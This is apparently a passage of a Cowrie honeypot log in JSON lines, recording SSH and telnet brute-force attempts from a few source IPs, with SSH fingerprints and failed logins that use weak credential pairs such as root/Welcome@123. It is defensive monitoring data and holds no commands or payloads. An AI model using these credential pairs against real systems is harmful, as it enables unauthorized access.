{"eventid":"cowrie.session.closed","duration":30.455529928207397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:57.426638Z","src_ip":"152.42.224.71","session":"a35b7dc37b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:58.000987Z","src_ip":"192.109.200.237","session":"a4099c86e9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54910,"dst_ip":"10.17.0.5","dst_port":23,"session":"529c94bf6d1d","protocol":"telnet","message":"New connection: 152.42.224.71:54910 (10.17.0.5:23) [session: 529c94bf6d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:59.913985Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39838,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85c904ff81e","protocol":"ssh","message":"New connection: 192.109.200.237:39838 (159.203.135.109:22) [session: b85c904ff81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:00.044505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:00.052777Z","src_ip":"192.109.200.237","session":"b85c904ff81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:00.136776Z","src_ip":"192.109.200.237","session":"b85c904ff81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:00.390813Z","src_ip":"192.109.200.237","session":"b85c904ff81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:01.477456Z","src_ip":"192.109.200.237","session":"b85c904ff81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54914,"dst_ip":"10.17.0.5","dst_port":23,"session":"529061423fc8","protocol":"telnet","message":"New connection: 152.42.224.71:54914 (10.17.0.5:23) [session: 529061423fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:01.623428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39856,"dst_ip":"159.203.135.109","dst_port":22,"session":"eda1c4c1044e","protocol":"ssh","message":"New connection: 192.109.200.237:39856 (159.203.135.109:22) [session: eda1c4c1044e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:03.579589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:03.584728Z","src_ip":"192.109.200.237","session":"eda1c4c1044e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:03.667394Z","src_ip":"192.109.200.237","session":"eda1c4c1044e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:03.916080Z","src_ip":"192.109.200.237","session":"eda1c4c1044e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:05.001548Z","src_ip":"192.109.200.237","session":"eda1c4c1044e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.17041277885437,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:06.038562Z","src_ip":"152.42.224.71","session":"a58c1c6bde44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39868,"dst_ip":"159.203.135.109","dst_port":22,"session":"26494bd258e2","protocol":"ssh","message":"New connection: 192.109.200.237:39868 (159.203.135.109:22) [session: 26494bd258e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:07.059386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:07.064990Z","src_ip":"192.109.200.237","session":"26494bd258e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:07.273195Z","src_ip":"192.109.200.237","session":"26494bd258e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:07.657814Z","src_ip":"192.109.200.237","session":"26494bd258e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:08.743988Z","src_ip":"192.109.200.237","session":"26494bd258e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51332,"dst_ip":"10.17.0.5","dst_port":23,"session":"256d725ff475","protocol":"telnet","message":"New connection: 152.42.224.71:51332 (10.17.0.5:23) [session: 256d725ff475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:09.651202Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47142,"dst_ip":"159.203.135.109","dst_port":22,"session":"bab7f6290918","protocol":"ssh","message":"New connection: 192.109.200.237:47142 (159.203.135.109:22) [session: bab7f6290918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:10.653525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:10.658116Z","src_ip":"192.109.200.237","session":"bab7f6290918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:10.740275Z","src_ip":"192.109.200.237","session":"bab7f6290918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:10.986960Z","src_ip":"192.109.200.237","session":"bab7f6290918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:12.072075Z","src_ip":"192.109.200.237","session":"bab7f6290918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47158,"dst_ip":"159.203.135.109","dst_port":22,"session":"63303296d876","protocol":"ssh","message":"New connection: 192.109.200.237:47158 (159.203.135.109:22) [session: 63303296d876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:14.104383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:14.109182Z","src_ip":"192.109.200.237","session":"63303296d876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:14.191501Z","src_ip":"192.109.200.237","session":"63303296d876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:14.437021Z","src_ip":"192.109.200.237","session":"63303296d876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:15.523177Z","src_ip":"192.109.200.237","session":"63303296d876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.794105529785156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:16.097739Z","src_ip":"152.42.224.71","session":"dc787ab94619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47164,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b834ae89e7e","protocol":"ssh","message":"New connection: 192.109.200.237:47164 (159.203.135.109:22) [session: 3b834ae89e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:17.723952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:17.729375Z","src_ip":"192.109.200.237","session":"3b834ae89e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:17.811798Z","src_ip":"192.109.200.237","session":"3b834ae89e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:18.058126Z","src_ip":"192.109.200.237","session":"3b834ae89e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:19.148556Z","src_ip":"192.109.200.237","session":"3b834ae89e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45550,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba304d48937","protocol":"ssh","message":"New connection: 192.109.200.237:45550 (159.203.135.109:22) [session: 3ba304d48937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:21.145041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:21.149937Z","src_ip":"192.109.200.237","session":"3ba304d48937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:21.232123Z","src_ip":"192.109.200.237","session":"3ba304d48937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:21.477216Z","src_ip":"192.109.200.237","session":"3ba304d48937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:22.610833Z","src_ip":"192.109.200.237","session":"3ba304d48937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.50.40.252","src_port":40822,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10b61f7b21f","protocol":"ssh","message":"New connection: 36.50.40.252:40822 (10.17.0.5:22) [session: e10b61f7b21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:23.569274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:23.575020Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","h